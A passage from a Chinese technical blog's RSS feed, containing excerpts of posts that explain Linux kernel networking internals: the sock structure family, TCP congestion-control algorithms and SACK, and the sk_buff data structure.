        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          本篇介绍网络栈中使用的核心数据结构sock和net_device，从而帮助我们更快更透彻地理解网络栈的实现细节。 sock是一个特别重要的基类。为什么是基类？可以认真考虑一下C++中的继承是如何实现的。C虽然不是OOP，却不妨碍它实现OO的功能。我们还会看到，由sock派生而来的tcp_sock，正是RFC标准中的传输控制块。 我们来看一些常用套接字的继承关系： tcp_sock -&amp;gt; inet_connection_sock -&amp;gt; inet_sock -&amp;gt; sock -&amp;gt; sock_common udp_sock -&amp;gt; inet_sock -&amp;gt; sock -&amp;gt; sock_common unix_sock -&amp;gt; sock -&amp;gt; sock_common 从中我们可以明显地看出，TCP套接字是一种面向连接的INET套接字；UDP套接字只是INET套接字，不需要维护连接信息；UNIX域套接字和INET域套接字一样都继承于sock基类，但UNIX套接字因为是在本地通信，所以甚至没有提供面向连接套接字的必要。 net_device：TBD 1. sock族类 1.1. sock_common sock_common包含了套接字最基础的内容，一些mini sock会直接继承这个类，而非继承sock。它包含了地址对、端口对、套接字协议族、连接状态等内容。 值得一提的是，不管是流套接字还是数据报套接字，它们都使用TCP的状态来填充sock_common成员中的连接状态，这就非常灵性，也许是因为可靠传输协议的状态集可以涵盖不可靠传输协议的状态集？ enum { TCP_ESTABLISHED = 1, TCP_SYN_SENT, TCP_SYN_RECV, TCP_FIN_WAIT1, TCP_FIN_WAIT2, TCP_TIME_WAIT, TCP_CLOSE, TCP_CLOSE_WAIT, TCP_LAST_ACK, TCP_LISTEN, TCP_CLOSING, /* Now...
        </description>
        <pubDate>Tue, 29 Mar 2022 23:56:46 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/962/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/962/</guid>
      </item>
    
      <item>
        <title>【Linux】网络专题（五）——TCP拥塞控制</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          一般而言，拥塞的时候会出现很多问题，其中尤为频发的是报文段丢失和乱序。丢失的可能原因有不少，例如路由器转发队列满时丢弃，甚至可能是随机早期丢弃（RED）；乱序就是到达先后顺序颠倒，乱序的报文可能走过了不同的转发路径，其转发排队时间、链路传播时间等都可能不一样，进而抹平乃至逆转了发送的先后时差。 接下来我们会先介绍CC的一些理论，然后分析现代的Linux网络栈是怎样实现拥塞控制的。 1. 拥塞控制方法 1.1. TCP Tahoe Tahoe包括慢启动和拥塞避免。最开始慢启动，cwnd设为1 MSS，每一次收到ACK，cwnd都会被增大一个MSS。直到cwnd到达ssthresh（它有一个初始值，例如64 KB），此时进入拥塞避免每一个RTT才会使cwnd增大一个MSS。 全程如果出现丢包事件（超时或者3个DACK），cwnd都会回到1 MSS，开始慢启动，同时ssthresh变为原先cwnd的一半。 ssthresh其实指示了上一次发生拥塞时的窗口大小的一半，换言之，cwnd到达ssthresh的时候，已经到了拥塞的一半，所以cwnd的增长不能够太激进。 1.2. TCP Reno Reno在Tahoe之上提出了快速恢复算法。DACK指示的丢包可以说明，既然一个RTO内还能收到3个DACK，说明拥塞应该并不严重，所以也不必将cwnd暴力地置为1。 此时的做法是，将ssthresh置为cwnd的一半，所以前面提到的ssthresh的意义没有变，还是拥塞点的一半；而cwnd在ssthresh的基础上加3 MSS，它的意思是既然收到3个DACK，说明DACK对应的报文段还是正常发出去了，应该计到cwnd的变化中。接下来重设计时器，进入快速恢复。 快速恢复中，每收到一个DACK，都为cwnd加1 MSS。收到new ACK，就回到拥塞避免；如果计时器超时了，就进入慢启动。 1.3. TCP NewReno Reno考虑了一个数据包丢失导致DACK的情况。那如果是多个数据包丢失呢？Reno只能看到第一个丢失的数据包，所以将窗口减半，重传一次，收到new ACK，退出快速恢复；然后又看到一个，再减半、重传；如此反复几次，窗口就减得差不多了。 为了解决这一问题，NewReno确保一个窗口内的所有丢失报文都收到ACK后，才退出快速恢复。可以想想看，Reno的问题出在哪里？如果丢失的报文不止一个，接收方发回的new ACK可能还是没有赶上发送方发送的最新的报文段的序号。 例如，假设6号报文段已经发送完，而4、5、6均在网络中丢失。发送方重传4，假设成功了，那么new ACK就是5，换言之还有报文段没送达，这种情况下就不应该退出快速恢复，而是继续重发。直到某次new ACK（例如ACK 11）恰好应答了所有已发送报文段（例如发送方发送完第10个报文段），才退出快速恢复。 上面例子的两种情况分别对应收到PACK（Partial ACK）和RACK（Recovery ACK)。在TCP Reno的基础上作补充，快速恢复状态下，收到PACK，则重发PACK对应的数据报；收到RACK，则进入拥塞避免。 1.4. TCP SACK 现代的TCP一个RTT能发好多报文段，一个窗口内丢包的期望值也增加了。TCP NewReno虽然减少了窗口缩减的次数，但没有改变一个RTT只重传一个报文段的本质。假如丢失的速率比重传的速率更高，接收方的缓存有可能会越来越少，使rwnd处于低位，这可就拉胯了。 为了提高重传效率，接收方可以多提供点信息，即把窗口内报文段的接受情况写在TCP报头里，这样发送方一分析就知道该批量重传哪些报文了。 TCP报头的20字节虽然基本写死了，但是选项字段有40字节，还可以放一些东西。选项编号占1字节，长度占1字节，后面紧邻着各个区间段，包括4字节的开始编号和4字节的结束编号，所以理论上这样的区间段最多能放4个。但其实SACK还要和另外一个时间戳选项并存，时间戳占10字节，所以也就放得下3个区间段了。 选项的具体内容是接收方提供的，但其实在缓冲区不足的时候，接收方可能会把已经接收的段删除掉而不再另行通知，即有违约（renege）的可能；更糟糕的是，这一字段还可以被精心设计用于攻击发送方，导致发送方panic，不过该bug已被修复。 在连接建立时，通信双方可协商是否支持SACK。不支持SACK，就使用(New)Reno。Tahoe被Reno向后兼容，但是已经没什么OS会用这个算法了。 2. 拥塞状态 这是各状态的定义。 /*...
        </description>
        <pubDate>Tue, 29 Mar 2022 23:56:25 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/965/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/965/</guid>
      </item>
    
      <item>
        <title>【Linux】网络专题（二）——核心数据结构sk_buff</title>
        
        <dc:creator><![CDATA[ VOID* ]]></dc:creator>
        
        <description>
          
          本篇介绍网络栈中使用的核心数据结构sk_buff，从而帮助我们更快更透彻地理解网络栈的实现细节。 论对于网络栈的重要性，sk_buff说第二，就没有谁敢说第一。 从传输层到链路层，它是存放数据的通用结构，为了保持高效率，数据在传递过程中尽量不发生额外的拷贝。因此，从高层到低层的时候，会不断地在数据前加头，因此每一层的协议都会调用skb_reserve，为自己的报头预留空间。至于从低层到高层，去掉低层报头的方式就是移动一下指针，指向高层头，非常简单。 sk_buff的成员和函数大致可分为以下几类： 组织布局（Layout）通用数据成员（General）用于实现特定功能的数据成员（Feature-specific）管理sk_buff结构体的函数（Management functions） 我们来看以上的1、2、4点。 1. Layout成员 sk_buff是怎样组织起来的？便于追加、删除，双链表是再合适不过了。然而除此之外，sk_buff还有必要能在O(1)时间内获得双链表的头节点，所以sk_buff_head和list_head是有一点不同之处的。我们看看sk_buff的布局： 神书就是神书，图例放在这里，自己的blog立马蓬荜生辉。 struct sk_buff_head { /* These two members must be first. */ struct sk_buff *next; struct sk_buff *prev; __u32 qlen; spinlock_t lock; }; qlen是链表中元素的数量，lock用于在可能的并发访问时保护双链表结构体。 sk_buff中的next、prev指向相邻的sk_buff。不过在有些情况下sk_buff不是用双链表而是用红黑树组织的，那么有效的域是rbnode。 值得一提的是，5.10中，list域是一个list_head结构体，而非sk_buff_head，后面我们会回答这一问题。 union { struct { /* These two members must be first. */ struct sk_buff...
        </description>
        <pubDate>Sat, 26 Mar 2022 00:50:59 +0800</pubDate>
        <link>https://void-star.icu/blog/archives/939/</link>
        <guid isPermaLink="true">https://void-star.icu/blog/archives/939/</guid>
      </item>
    
  </channel>
</rss>
